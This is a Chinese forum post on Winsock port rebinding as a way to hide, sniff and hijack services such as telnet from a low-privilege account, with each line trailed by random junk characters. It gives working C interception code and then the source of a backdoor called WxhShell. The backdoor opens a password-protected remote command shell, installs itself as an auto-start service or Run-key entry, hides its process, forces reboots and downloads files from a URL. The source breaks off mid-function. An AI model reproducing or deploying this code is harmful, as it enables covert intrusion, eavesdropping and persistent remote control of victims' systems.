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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: % Ix   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g*-%.fNA  
1Ax{Y#<  
  saddr.sin_family = AF_INET; \:Vm7Zg  
M4rK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q1_iV.G<  
WH^^.^(i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [PP &}.k4"  
wRsh@I<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tH^]`6"QUa  
i[7<l&K]  
  这意味着什么?意味着可以进行如下的攻击: 2M$^|j:[  
DGrk}   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -Ed<Kl  
V X"! a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _i@4R<  
X :wfmb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~[ZRE @  
3<A$lG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qC4Q+"'  
`-)Hot)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1n-+IR"  
FofeQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A(v5VvgZE  
{1Hs5bg@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q xm:5P  
)0UXTyw^  
  #include ~M Mv+d88  
  #include AR?1_]"=  
  #include L<H zPg  
  #include    LAjreC<W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RIV + _}R  
  int main() n5s2\(  
  { 6*r#m%|   
  WORD wVersionRequested; Zog&:]P'F  
  DWORD ret; fMl uVND  
  WSADATA wsaData; t;/s^-}  
  BOOL val; b-Xc6f  
  SOCKADDR_IN saddr; J *nWCL  
  SOCKADDR_IN scaddr; 1ww#]p`1  
  int err; mi'3ibCG  
  SOCKET s; ~/m=Q<cV  
  SOCKET sc; E=$li  
  int caddsize; Mo4k6@ht_  
  HANDLE mt; D@?Tq,= [  
  DWORD tid;   >p?Vv0*  
  wVersionRequested = MAKEWORD( 2, 2 ); ^=@`U_(,G  
  err = WSAStartup( wVersionRequested, &wsaData ); \.K4tY+V  
  if ( err != 0 ) { j[Z<|Da  
  printf("error!WSAStartup failed!\n"); [$e\?c  
  return -1; <; P40jDL  
  } PHU$<>  
  saddr.sin_family = AF_INET; ~9ynlVb7)r  
   \6L,jSoBl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X')t6DQ(I  
}BN!Xa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0 P2lq  
  saddr.sin_port = htons(23); P+<4w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pSKw Xx  
  { ]@wKm1%v  
  printf("error!socket failed!\n"); c\DMeYrg  
  return -1; }-N4D"d4o  
  } |y.^F3PE  
  val = TRUE; \ Dccf_(Pb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \m%Z;xKG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %n)H(QPW  
  { 5KgAY;|  
  printf("error!setsockopt failed!\n"); @O9wit.  
  return -1; Qr9@e Q1Pp  
  } q5#6PYIq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,*m{Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PUbfQg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U%V4@iz~\m  
FT[of(g^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y{7)$'At  
  { mPJ@hr%3  
  ret=GetLastError(); s0\}Q=s[  
  printf("error!bind failed!\n"); =Ohro '   
  return -1; T o$D [-  
  } B1 Y   
  listen(s,2); 0u?Vn N<  
  while(1) )z!#8s  
  { b"pN;v  
  caddsize = sizeof(scaddr); /C6$B)w_*{  
  //接受连接请求 3 4:Y_*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !t!'  
  if(sc!=INVALID_SOCKET) L#MgoBXr  
  { 9+"ISXS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `;)op3A'  
  if(mt==NULL) E++3GagdiD  
  { 8;y\Ln?B  
  printf("Thread Creat Failed!\n"); 4L<;z'   
  break; XDyFe'1I  
  } Oh; V%G  
  } TR'<D9kn  
  CloseHandle(mt); 5gKXe4}\/|  
  } =z*SzG  
  closesocket(s); <[A;i  
  WSACleanup(); V\*J"ZP&  
  return 0; -GODM128 ^  
  }   ~9Cw5rwH<;  
  DWORD WINAPI ClientThread(LPVOID lpParam) 99*QfC  
  { >=K~*$&>  
  SOCKET ss = (SOCKET)lpParam; (Qd@Q,@(s  
  SOCKET sc; w~ O)DhC  
  unsigned char buf[4096]; *hlinQKs  
  SOCKADDR_IN saddr; [13NhF3.P  
  long num; D:0?u_[W  
  DWORD val; +ux170Cd3  
  DWORD ret; gQ$0 |0O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %@^9(xTE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Pf#DBW*  
  saddr.sin_family = AF_INET; q'KXn0IY#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,% *Jm  
  saddr.sin_port = htons(23); yC\!6pg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C:ntr=3J  
  { so_^%) gdJ  
  printf("error!socket failed!\n"); &I7T ?  
  return -1; 1xjw=  
  } nJR(lXWO  
  val = 100; GsiT!OP]y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U.c~l,5%"  
  { mk[<=k~  
  ret = GetLastError(); A \-r%&.  
  return -1; PMZ*ECIJU  
  } Gdv{SCV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QRHM#v S  
  { cF}9ldc  
  ret = GetLastError(); HY,VJxR[  
  return -1; sWFw[ Y>  
  } @<z#a9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xV.UM8  
  { hx hs>eY  
  printf("error!socket connect failed!\n"); >o5eyi  
  closesocket(sc); ^w*&7.Z  
  closesocket(ss); Rf TG 5E)  
  return -1; AH|'{  
  } J5SOPG  
  while(1) d=/a{lP\  
  { >x8~?)7z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;aImz*1%t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )NnkoCNeE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DEt;$>tl 5  
  num = recv(ss,buf,4096,0); "#]V^Rzxh  
  if(num>0) )TOKHN  
  send(sc,buf,num,0); /vAA]n8  
  else if(num==0) &Vbcwv@  
  break; &24>9  
  num = recv(sc,buf,4096,0); xbs X-F  
  if(num>0) 7l3Dx w/N  
  send(ss,buf,num,0); (``|5;T\  
  else if(num==0) 3yu,qb'"&  
  break; `3L?x8g  
  } Qk8YR5 K   
  closesocket(ss); Z4{~  
  closesocket(sc); :tp{(MF  
  return 0 ; Y|L]#  
  } 85ND 3F6q4  
,8+Jt@L  
Ae'N1V  
========================================================== v7mg8'  
uZ+vYF^  
下边附上一个代码,,WXhSHELL BV eIj }  
gPF5|% 3)  
========================================================== hEAP,)>F  
)]{&  
#include "stdafx.h" Q#}c5TjVr  
c:,K{ZR  
#include <stdio.h> !CLL{\F  
#include <string.h> w"OeS;#e:  
#include <windows.h> `sM^m`yE  
#include <winsock2.h> _SqUPTb"u  
#include <winsvc.h> p1fy)K2{,j  
#include <urlmon.h> ]Ab$IK Y  
&NK6U  
#pragma comment (lib, "Ws2_32.lib") j,v2(e5:  
#pragma comment (lib, "urlmon.lib") j]   
U}SN#[*  
#define MAX_USER   100 // 最大客户端连接数 _Sult;y"u  
#define BUF_SOCK   200 // sock buffer ^i6`w_/  
#define KEY_BUFF   255 // 输入 buffer @.l?V6g9T  
-bp7X{&  
#define REBOOT     0   // 重启 6mC% zXR5  
#define SHUTDOWN   1   // 关机 V?4G~~F  
*7K)J8kq  
#define DEF_PORT   5000 // 监听端口 1VB{dgr  
aKw7m= {  
#define REG_LEN     16   // 注册表键长度 _}Ec[c  
#define SVC_LEN     80   // NT服务名长度 qQe23,x@5  
]-g4C t_V  
// 从dll定义API 'Ug-64f>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T@j@IEGH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hA387?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9`5qVM1O{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qWw{c&{Q],  
)Qc>NF0  
// wxhshell配置信息 v Yw$m#@  
struct WSCFG { #& &  
  int ws_port;         // 监听端口 Kr74|W=  
  char ws_passstr[REG_LEN]; // 口令 rB.LG'GG]  
  int ws_autoins;       // 安装标记, 1=yes 0=no |=#uzp7*  
  char ws_regname[REG_LEN]; // 注册表键名 eG%Q 3h  
  char ws_svcname[REG_LEN]; // 服务名 e*pYlm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %$zX a%A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dwmZ_m.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #i| AE`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ' O d_:]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6" |+\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fes /8*-  
SAN/ fnM  
}; k>!A~gfP~  
fC!+"g55  
// default Wxhshell configuration (zhi/>suG  
struct WSCFG wscfg={DEF_PORT, u;=a=>05IR  
    "xuhuanlingzhe", Xv?'*2J  
    1, |Whkq/Zg  
    "Wxhshell", [+>cW0a  
    "Wxhshell", uOQl;}Lk5  
            "WxhShell Service", A9ru]|?  
    "Wrsky Windows CmdShell Service", Ui05o7xg~p  
    "Please Input Your Password: ", QxeK-x^  
  1, }yMA s  
  "http://www.wrsky.com/wxhshell.exe", H]&^>Pvh  
  "Wxhshell.exe" ZR@PqS+O/  
    }; N.|uPq$R  
DeGcS1_?  
// 消息定义模块 hV[=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _sC kBDl-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "yc@_+"\+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qb >mUS  
char *msg_ws_ext="\n\rExit."; V.~C.x  
char *msg_ws_end="\n\rQuit."; j$}W%ibj  
char *msg_ws_boot="\n\rReboot..."; |f< -lB[k  
char *msg_ws_poff="\n\rShutdown..."; HbQ+:B]  
char *msg_ws_down="\n\rSave to "; #~:@H&f790  
P> i lRb  
char *msg_ws_err="\n\rErr!"; m>LC2S; f  
char *msg_ws_ok="\n\rOK!"; [qQ~\]  
~"i4"Op&  
char ExeFile[MAX_PATH]; cA25FD  
int nUser = 0; 4 X6_p(  
HANDLE handles[MAX_USER]; F;<cG `|Rx  
int OsIsNt; 4%,E;fB?=  
cj9<!"6  
SERVICE_STATUS       serviceStatus; FdM xw*}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UN7J6$!Cx7  
^HI}bS1+|  
// 函数声明 wsyAq'%L  
int Install(void); [E4#|w  
int Uninstall(void); qn#f:xltu  
int DownloadFile(char *sURL, SOCKET wsh); Nt P=m @  
int Boot(int flag); FOD_m&+  
void HideProc(void); !; COFR  
int GetOsVer(void); z.]  
int Wxhshell(SOCKET wsl); aW7)}"j4  
void TalkWithClient(void *cs); O`Ge|4  
int CmdShell(SOCKET sock); Q*l_QnfG  
int StartFromService(void); U+'h~P'4  
int StartWxhshell(LPSTR lpCmdLine); e$=0.GWT  
t+m ug  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %TA@-tK=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `=VN\W^&  
$C~OV@I  
// 数据结构和表定义 x /xd  
SERVICE_TABLE_ENTRY DispatchTable[] = 9ZXEy }q57  
{ o+ 0"@B  
{wscfg.ws_svcname, NTServiceMain}, H?W8_XiN  
{NULL, NULL} +6+!M_0wA  
}; 2JS&zF  
ucgp=bye  
// 自我安装 j3)fmlA  
int Install(void) <ZgbmRY8  
{ M3/_E7Qoj  
  char svExeFile[MAX_PATH]; gDBdaxR<  
  HKEY key; pZO`18z  
  strcpy(svExeFile,ExeFile); ^Yu%JCN8g  
$ru()/pI)z  
// 如果是win9x系统,修改注册表设为自启动 CiTjRJ-ZW)  
if(!OsIsNt) { pv){R;f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ecG,[1];  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3F|#nq  
  RegCloseKey(key); Ph|\%P`>%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PcQqdU^!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nK;c@!~pS  
  RegCloseKey(key); EG3?C  
  return 0; Zh,{e/j  
    } |*-&x:p7O  
  } =}7[ypQM`]  
} (_$'e%G0  
else { E4dN,^_ F!  
'+*{u]\  
// 如果是NT以上系统,安装为系统服务 1.y|bB+kB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K`#bLCXEV0  
if (schSCManager!=0) N)N\iad^  
{ y:+4-1  
  SC_HANDLE schService = CreateService s6| S#  
  ( y?*4SLy  
  schSCManager, |ZuS"'3_w  
  wscfg.ws_svcname, ^i!6q9<{e  
  wscfg.ws_svcdisp, "~^ #{q  
  SERVICE_ALL_ACCESS, yPhTCr5pK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U5x&? n<  
  SERVICE_AUTO_START, cop \o4ia  
  SERVICE_ERROR_NORMAL, Uel^rfE`  
  svExeFile, T\Ld)'fNv  
  NULL, qKL mL2O  
  NULL, N 56/\1R  
  NULL, qL?`l;+  
  NULL, |H7f@b]Sk  
  NULL fNTe_akp  
  ); eJ O+MurO  
  if (schService!=0) TDo!yQ  
  { oUG!=.1}K5  
  CloseServiceHandle(schService); `X ;2lgL  
  CloseServiceHandle(schSCManager); k1)=xv#S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N5\]VCX  
  strcat(svExeFile,wscfg.ws_svcname); @XR N#_{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7C"&f *lEi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J5 2- qR/  
  RegCloseKey(key); ` $N()P  
  return 0; &q0s8'qA  
    } a-<&(jV  
  } >p;cbp[ht  
  CloseServiceHandle(schSCManager); #)hJ.0~3  
} dZ"w2ho  
} ROc)LCA  
"ABg,^jf  
return 1; MmPLJ  
} s 8 c#_  
heN?lmC  
// 自我卸载 ueD_<KjE=  
int Uninstall(void) :kz"W ya.  
{ Q"2J2211  
  HKEY key; :$J4T;/{  
_bm8m4Lk  
if(!OsIsNt) { Oj~4uT&"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MhXJ /bup  
  RegDeleteValue(key,wscfg.ws_regname); >azTAX6L3  
  RegCloseKey(key); \Q m1+tg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { />,KWHR|:  
  RegDeleteValue(key,wscfg.ws_regname); 12JmSvD  
  RegCloseKey(key); PBo;lg`  
  return 0; qZz?i  
  } ;H;c Sn5uL  
} RAps`)OR?  
} 1o*eu&@  
else { h~R= ?%H[  
pX~X{JTaL)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M~jV"OF=  
if (schSCManager!=0) S%t*!  
{ *[SOz)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P UJkC  
  if (schService!=0) Nxd<#p  
  { { *&Wc Os  
  if(DeleteService(schService)!=0) { y.PsC '  
  CloseServiceHandle(schService); 5U!yc7eBI/  
  CloseServiceHandle(schSCManager); n?=d)[]  
  return 0; fCa*#ME  
  } }cPH}[ $zF  
  CloseServiceHandle(schService); "0ZBPp1q  
  } -h?ed'e/zz  
  CloseServiceHandle(schSCManager); 8pZGu8  
} lUJ~_`D  
} u{+z?N  
7I0[Ii  
return 1; Z>t,B%v  
} )E hR qX9  
`BOG e;pl  
// 从指定url下载文件 z&a>cjt_;  
int DownloadFile(char *sURL, SOCKET wsh) n#Y=y#  
{ MaS"V`NI  
  HRESULT hr; n |e=7?H8  
char seps[]= "/"; +8#hi5e  
char *token; b|'{f?  
char *file; 9yrSCDu00  
char myURL[MAX_PATH]; Un.u{$po  
char myFILE[MAX_PATH]; lc qpwSk  
_q7mYc  
strcpy(myURL,sURL); 41Nm+$m  
  token=strtok(myURL,seps); zD z"Dn9  
  while(token!=NULL) ;?K>dWf3f  
  { } S,KUH.  
    file=token; {I:nza  
  token=strtok(NULL,seps); zlhHSyK  
  } nQ5N\RAZ  
z 7 s&7)a  
GetCurrentDirectory(MAX_PATH,myFILE); J% mtlA  
strcat(myFILE, "\\"); b\9MM  
strcat(myFILE, file); o NqIrYH'  
  send(wsh,myFILE,strlen(myFILE),0); ]?3-;D.eG  
send(wsh,"...",3,0); J'H}e F`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B65"jy  
  if(hr==S_OK) k`u.:C&  
return 0; ObyF~j}j  
else ["65\GI?  
return 1; t 8,VRFV  
4/J"}S  
} FIEA 'kUy  
=(cfo_B@K  
// 系统电源模块 7(W"NF{r  
int Boot(int flag) snm1EPj  
{ r 1x2)  
  HANDLE hToken; $FM: 8^  
  TOKEN_PRIVILEGES tkp; A]_5O8<buW  
G%#M17   
  if(OsIsNt) { /ho7O/aAa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;T,`m^@zf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A/A; '9  
    tkp.PrivilegeCount = 1; :5, k64'D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E$1P H)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); | ycN)zuE  
if(flag==REBOOT) { H b}(.`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T}r}uw`  
  return 0; z1vSt[s  
} i~sW_f+  
else { 7~ =r9-&G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sG K7Uy  
  return 0; WTX!)H6Zv  
} d"U'\ID2y  
  } ! a!^'2  
  else { 3:ELYn  
if(flag==REBOOT) { xwjiNJ Gj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *\"+/   
  return 0; ,JONc9  
} 3U!#rz"  
else { ..a@9#D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /4wPMAlb  
  return 0; CjT]!D)s  
} E~K5n2CI  
} f C_H0h3  
H5X.CcI&}  
return 1; O Zn40"`  
} l`(pV ;{W  
\F5d p  
// win9x进程隐藏模块 gH<A.5 xy  
void HideProc(void) ^P~NE#p5  
{ eH' J  
FwaYp\z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yD:}&!\}  
  if ( hKernel != NULL ) t1rAS.z&  
  { ToE^%J4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @ ?CEi#-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0Ma3  
    FreeLibrary(hKernel); KnxK9  
  } W>cHZ. _  
Y'eE({)<K  
return; s_RUb  
} rOA{8)jIa*  
V:*6R/Ft  
// 获取操作系统版本 w3E#v&"=Y  
int GetOsVer(void) -![>aqWmj1  
{ P&.-c _  
  OSVERSIONINFO winfo; U{?#W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ibL    
  GetVersionEx(&winfo); JthW"{E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .\}nDT  
  return 1; W~Ae&gcn#  
  else v FWg0 $,  
  return 0; ]!'9Y}9a  
} dO!5` ]  
S<Od`I  
// 客户端句柄模块 i{2ny$55h  
int Wxhshell(SOCKET wsl) $-p#4^dg  
{ 0jmPj   
  SOCKET wsh; (!"&c* <  
  struct sockaddr_in client; `Ti?hQm/  
  DWORD myID; y@2$sK3K  
J[{?Y'RUM  
  while(nUser<MAX_USER) /?_5!3KJ  
{ bv9nDNPD4  
  int nSize=sizeof(client); JSu+/rI1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z( ^ r  
  if(wsh==INVALID_SOCKET) return 1; 4B$|UG  
!63]t?QXMG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); owKOH{otf  
if(handles[nUser]==0) +LB2V3UZ  
  closesocket(wsh); Q1^kU0M}  
else v)s; wD  
  nUser++; Gzkvj:(V  
  } 9`Zwa_Tni  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :>3/*"vx?G  
*EllE+M{n  
  return 0; UtYwG#/w  
} U C..)9  
7 DW_G  
// 关闭 socket TS49{^d$  
void CloseIt(SOCKET wsh) H tAO9  
{ o3,}X@p  
closesocket(wsh); \SyG#.$  
nUser--; .Hm1ispq  
ExitThread(0); (K`@OwD  
} R}T\<6Y  
X6G2$|  
// 客户端请求句柄 }[b3$WZ  
void TalkWithClient(void *cs) D0VbD" y  
{ A40Q~X  
[Nv)37|W  
  SOCKET wsh=(SOCKET)cs; g\Akf  
  char pwd[SVC_LEN]; SK t&BnW  
  char cmd[KEY_BUFF]; vNSeNS@jxC  
char chr[1]; E:ti]$$  
int i,j; Ck>{7 Gw  
|?<^4U8  
  while (nUser < MAX_USER) { f`bRg8v  
y1_z(L;I  
if(wscfg.ws_passstr) { {N'<_%cu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u )k Q*&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '@G=xYR  
  //ZeroMemory(pwd,KEY_BUFF); -n~%v0D8c  
      i=0; < gu>06  
  while(i<SVC_LEN) { mJ JF  
 Vl`!6.F3  
  // 设置超时 \kEC|O)8  
  fd_set FdRead; a_U[!`/ w  
  struct timeval TimeOut; q:<vl^<j  
  FD_ZERO(&FdRead); ~=k?ea/>  
  FD_SET(wsh,&FdRead); q"$C)o  
  TimeOut.tv_sec=8; xM2UwTpW  
  TimeOut.tv_usec=0; +~\1g^h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G6q*U,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /33m6+  
9?zi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0T.kwZ8  
  pwd=chr[0]; gtRVXgI  
  if(chr[0]==0xd || chr[0]==0xa) { sM6o(=>  
  pwd=0; ,u^%[ejH  
  break; @r3,|tkrz  
  } y7U?nP ')+  
  i++; ?L+|b5RS  
    } <m0m8p"G  
$8WeWmY  
  // 如果是非法用户,关闭 socket Rg%Xy`gS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :b"&Rc&s.  
} Hh`HMa'q  
\W+Hzf] W#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -fT}Nj\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7_CX6:  
5 [X,?  
while(1) { 3='Kii=LA  
eZMfn$McJv  
  ZeroMemory(cmd,KEY_BUFF); +O!4~k^  
8 Az|SJ<  
      // 自动支持客户端 telnet标准   {Y1&GO;  
  j=0; I]6,hygs  
  while(j<KEY_BUFF) { a Juv{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Zw[LIQ*  
  cmd[j]=chr[0]; mu$rG3M  
  if(chr[0]==0xa || chr[0]==0xd) { (7w95xI  
  cmd[j]=0; K:54`UJ  
  break; v(~EO(n.  
  } Ls/*&u  
  j++; |u_fVQj  
    } &x)nK  
>9,:i)m_  
  // 下载文件 uxbLoE  
  if(strstr(cmd,"http://")) { x<1t/o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yM# %UeZ\  
  if(DownloadFile(cmd,wsh)) OPJ(ub  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?e2G{0V  
  else oq[r+E-]$@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L3Ivm :  
  } [ @9a  
  else { @B Muov  
=F/EzS  
    switch(cmd[0]) { [7h/ 2La#  
  l`r O)7  
  // 帮助 .s\_H,  
  case '?': { q+{yv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [E)&dl_k  
    break; [ i8Ju  
  } " 1%\Fil  
  // 安装 }%`f%/  
  case 'i': { V?"1&m& E  
    if(Install()) TTD#ovo'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}0rDWuR[  
    else UL]zuW/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }gKY_e3  
    break; hCob^o  
    } cK\'D  
  // 卸载 9e;8"rJ?C  
  case 'r': { fE1VTGfd:  
    if(Uninstall()) :;KQ]<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQ?Z y;/S  
    else 2Ws'3Jz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IAMtMO^L  
    break; H $mZ?  
    } ~toR)=Yv  
  // 显示 wxhshell 所在路径 <4P.B?-/t  
  case 'p': { uLr-!T  
    char svExeFile[MAX_PATH]; 8\rAx P}=  
    strcpy(svExeFile,"\n\r"); wowWq\euY  
      strcat(svExeFile,ExeFile); BFZ\\rN`  
        send(wsh,svExeFile,strlen(svExeFile),0); ^+x,211f  
    break; ]-jaIvM  
    } 5? *Iaw  
  // 重启 4@=[r Zb9  
  case 'b': { P5__[aTD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 00pe4^U  
    if(Boot(REBOOT)) x\8gb#8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zQoJ8i>  
    else { 2/ejU,S  
    closesocket(wsh); |y&vMx~t  
    ExitThread(0); y\Wp} }  
    } .t.4y. 97  
    break; aB{OXU}#  
    } 3j2d&*0  
  // 关机 Ls'8  
  case 'd': { wcW7k(+0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s){R/2O3F  
    if(Boot(SHUTDOWN)) q+ka}@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )kIjZ  
